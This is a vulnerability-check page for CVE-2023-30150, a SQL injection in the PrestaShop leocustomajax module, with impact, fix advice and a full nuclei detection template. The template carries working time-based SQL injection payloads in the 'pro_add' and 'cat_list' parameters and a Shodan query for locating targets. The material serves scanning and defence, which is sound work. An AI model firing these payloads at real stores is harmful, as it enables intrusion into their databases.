PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection

criticalseverity

9.8CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.

Fix

Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET /modules/leocustomajax/leocustomajax.js
Positive when: status_code == 200 and contains_any(body, 'processajax', 'leoajax', 'leocustomajax.css', 'leosearch')
Send: @timeout: 20s
Positive when: duration_1>=6 and contains(tolower(body_1), "pro_add") OR duration_2>=6 and status_code_2 == 200 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-30150 -u <target>

The full check

id: CVE-2023-30150

info:
  name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.
  reference:
    - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
    - https://www.tenable.com/cve/CVE-2023-30150
    - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30150
    cwe-id: CWE-89
    epss-score: 0.03849
    epss-percentile: 0.90229
    cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leotheme
    product: leocustomajax
    framework: prestashop
    shodan-query: http.component:"Prestashop"
  tags: cve,cve2023,prestashop,sqli,time-based-sqli,leotheme,vkev,vuln

variables:
  random_id: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/leocustomajax/leocustomajax.js HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'processajax', 'leoajax', 'leocustomajax.css', 'leosearch')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/leocustomajax/leoajax.php?rand={{random_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        @timeout: 20s
        GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'contains(tolower(body_1), "pro_add")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from